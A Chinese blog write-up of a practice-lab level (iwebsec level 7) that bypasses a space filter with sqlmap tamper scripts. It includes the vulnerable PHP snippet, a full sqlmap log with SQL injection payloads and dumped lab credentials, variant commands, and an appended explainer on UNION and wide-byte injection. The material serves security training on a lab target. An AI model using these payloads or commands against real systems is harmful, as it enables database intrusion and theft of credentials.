iwebsec靶场 SQL注入漏洞通关笔记7- 空格过滤绕过

系列文章目录

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记6- 宽字节注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记7- 空格过滤绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记8- 大小写过滤注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记9- 双写关键字绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记10- 双重url编码绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记11-16进制编码绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记12-等价函数替换绕过_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记13-二次注入_iwebsec二次注入-CSDN博客

目录

系列文章目录

前言

一、源码分析

二、sqlmap注入

1.注入命令

 2.完整交互过程

3.多种渗透方法合集

总结


前言

打开靶场,url为 http://192.168.71.151/sqli/07.php?id=1 如下所示

一、源码分析

如下所示,SQL语句与前几关一样,调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入,并且对参数id做了空格过滤。

空格过滤的相关源码如下所示

if (preg_match('/ /', $_GET["id"])) {
		die("ERROR");
	}

二、sqlmap注入

1.注入命令

使用sqlmap的绕waf脚本space2comment.py,将空格使用注释符替换

sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2comment.py

--tamper "space2comment.py"

补充:

脚本名: space2comment.py 

作用:Replaces space character  ' '  with comments   /**/

也就是用注释/**/替换空格字符' '

如下所示,渗透成功

 2.完整交互过程

完整的注入交互如下所示

kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2comment.py
        ___
       __H__                                                                                                                                                                                                                               
 ___ ___[']_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
|_ -| . ["]     | .'| . |                                                                                                                                                                                                                  
|___|_  [)]_|_|_|__,|  _|                                                                                                                                                                                                                  
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:52:15 /2022-11-24/

[23:52:15] [INFO] loading tamper module 'space2comment'
[23:52:15] [INFO] testing connection to the target URL
[23:52:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:52:15] [INFO] testing if the target URL content is stable
[23:52:15] [INFO] target URL content is stable
[23:52:15] [INFO] testing if GET parameter 'id' is dynamic
[23:52:16] [WARNING] GET parameter 'id' does not appear to be dynamic
[23:52:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[23:52:16] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[23:52:16] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[23:52:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:52:16] [WARNING] reflective value(s) found and filtering out
[23:52:16] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[23:52:16] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --string="age")
[23:52:16] [INFO] testing 'Generic inline queries'
[23:52:16] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[23:52:16] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[23:52:16] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[23:52:16] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[23:52:16] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[23:52:16] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[23:52:16] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[23:52:16] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[23:52:16] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[23:52:16] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[23:52:16] [INFO] testing 'MySQL inline queries'
[23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[23:52:16] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[23:52:16] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[23:52:16] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[23:52:16] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[23:52:26] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[23:52:26] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[23:52:26] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[23:52:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[23:52:26] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[23:52:26] [INFO] target URL appears to have 3 columns in query
[23:52:26] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 68 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (9753=9753) THEN 1 ELSE (SELECT 3710 UNION SELECT 2663) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 9472 FROM(SELECT COUNT(*),CONCAT(0x717a6b7a71,(SELECT (ELT(9472=9472,1))),0x716b766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 8269 FROM (SELECT(SLEEP(5)))EapV)

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x717a6b7a71,0x53517459567341764153487178596c4b74764f51697a6e4e595654686774574447434b4865697356,0x716b766271)#
---
[23:52:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[23:52:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: Apache 2.2.15, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[23:52:26] [INFO] fetching current database
current database: 'iwebsec'
[23:52:26] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[23:52:26] [INFO] fetching current database
[23:52:26] [INFO] fetching tables for database: 'iwebsec'
[23:52:26] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[23:52:26] [INFO] fetching entries for table 'xss' in database 'iwebsec'
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 7  | <img src=1 onerror=alert(/ctfs/)/> |
| 6  | <img src=1 onerror=alert(/ctfs/)/> |
| 5  | <img src=1 onerror=alert(/ctfs/)/> |
| 1  | iwebsec                            |
| 8  | <?php phpinfo();?>                 |
+----+------------------------------------+

[23:52:27] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[23:52:27] [INFO] fetching columns for table 'user' in database 'iwebsec'
[23:52:27] [INFO] fetching entries for table 'user' in database 'iwebsec'
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | pass1    | user1    |
| 2  | pass2    | user2    |
| 3  | pass3    | user3    |
+----+----------+----------+

[23:52:27] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[23:52:27] [INFO] fetching columns for table 'users' in database 'iwebsec'
[23:52:27] [INFO] fetching entries for table 'users' in database 'iwebsec'
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role  | password    | username |
+-------+-------------+----------+
| admin | mall123mall | orange   |
+-------+-------------+----------+

[23:52:27] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[23:52:27] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[23:52:27] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email                 | password | username                                             |
+----+-----------------------+----------+------------------------------------------------------+
| 1  | user1@iwebsec.com     | pass1    | user1                                                |
| 2  | user2@iwebsec.com     | pass2    | user2                                                |
| 3  | user3@iwebsec.com     | pass3    | user3                                                |
| 4  | user4@iwebsec.com     | admin    | admin                                                |
| 5  | 123@123.com           | 123      | 123                                                  |
| 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
| 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+

[23:52:27] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[23:52:27] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[23:52:27] [WARNING] your sqlmap version is outdated

[*] ending @ 23:52:27 /2022-11-24/

3.多种渗透方法合集

实际上sqlmap在过滤空格有多个渗透脚本可以尝试,如下所示均可以渗透成功,大家可以多多实验

sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2comment.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2plus.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2hash.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2mssqlblank.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2mysqlblank.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2randomblank.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2mssqlhash.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper space2mysqldash.py
sqlmap -u http://192.168.71.151/sqli/07.php?id=1  --current-db --dump --batch --tamper  space2morehash.py

总结

SQL注入主要分析几个内容

(1)闭合方式是什么?iwebsec的第7关关卡为数字型,无闭合

(2)注入类别是什么?这部分是普通的数字型注入,使用union法即可注入成功

(3)是否过滤了关键字?很明显通过源码,iwebsec的第07关卡过滤了空格

了解了如上信息就可以针对性进行SQL渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的数字型注入内容,初学者建议按部就班先使用手动注入练习,再进行sqlmap渗透。

### 关于iwebsec靶场中字符型SQL注入漏洞分析 在探讨iwebsec靶场中的字符型SQL注入漏洞时,需理解其核心在于利用特定字符串构造来绕过输入验证机制并执行恶意查询。当应用程序未能正确处理特殊字符或未对用户输入做充分过滤时,攻击者可以通过提交精心设计的数据引发数据库错误或获取敏感信息。 对于字符型注入而言,在构建测试用语句时通常会附加单引号 `'` 来闭合原有查询条件,并通过联合选择 `UNION SELECT` 或其他方法尝试读取额外的信息[^5]。例如: ```sql ?id=1' UNION SELECT 1,2,3--+ ``` 此命令试图关闭原始查询并通过追加新的SELECT子句返回自定义的结果集;然而,如果结尾处缺少必要的注释符号(即双连字符 `--`),这可能导致语法不匹配从而引起服务器端异常响应。 为了进一步探索目标系统的结构以及潜在的安全弱点,可以采用如下策略来进行更深入的渗透测试: - **确认注入点**:先确定是否存在可被利用的位置,比如上述提到的ID参数。 - **探测列数**:使用ORDER BY指令调整输出顺序直至找到最大有效索引值,以此推断出内部表格所含有的字段数目。如下面的例子展示了如何检测第四列为上限的情况: ```php /sqli/02.php?id=-1%df%27%20order%20by%204--+ ``` - **提取元数据**:一旦知道了表内有多少个属性,则可通过GROUP_CONCAT()函数一次性抓取多个记录的内容。这里给出了一种方式用于收集用户名和密码组合: ```sql ?id=-1 UNION SELECT 1,2,GROUP_CONCAT(CONCAT_WS(0x7E,username,password)) FROM iwebsec.user-- ``` 值得注意的是,以上操作均基于假设环境下的实验性质活动,并非真实世界里的合法行为。实际开发过程中应当遵循安全编码实践以防止此类风险的发生,同时定期审查现有防护措施的有效性。 #### 宽字节注入技巧 考虑到某些情况下Web应用可能运行在一个特殊的字符集环境中(如GBK),此时还可以运用所谓的“宽字节注入”。这种技术依赖于多字节字符集中存在的特性——部分字符由两个连续字节组成,其中一个可能是反斜杠 `\` ,它作为转义符会影响后续字符解释的方式[^4]。 具体来说就是发送形似 `%DF'` 的请求片段给服务端解析器,后者会在遇到这样的序列之前插入一个反斜杠变成类似于 `%DF\%'` 这样的形式。而在GBK编码下,这个新产生的三字节串正好对应着某个有效的汉字,因此整个表达式不会触发任何报警而是按照预期逻辑继续向下执行下去。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值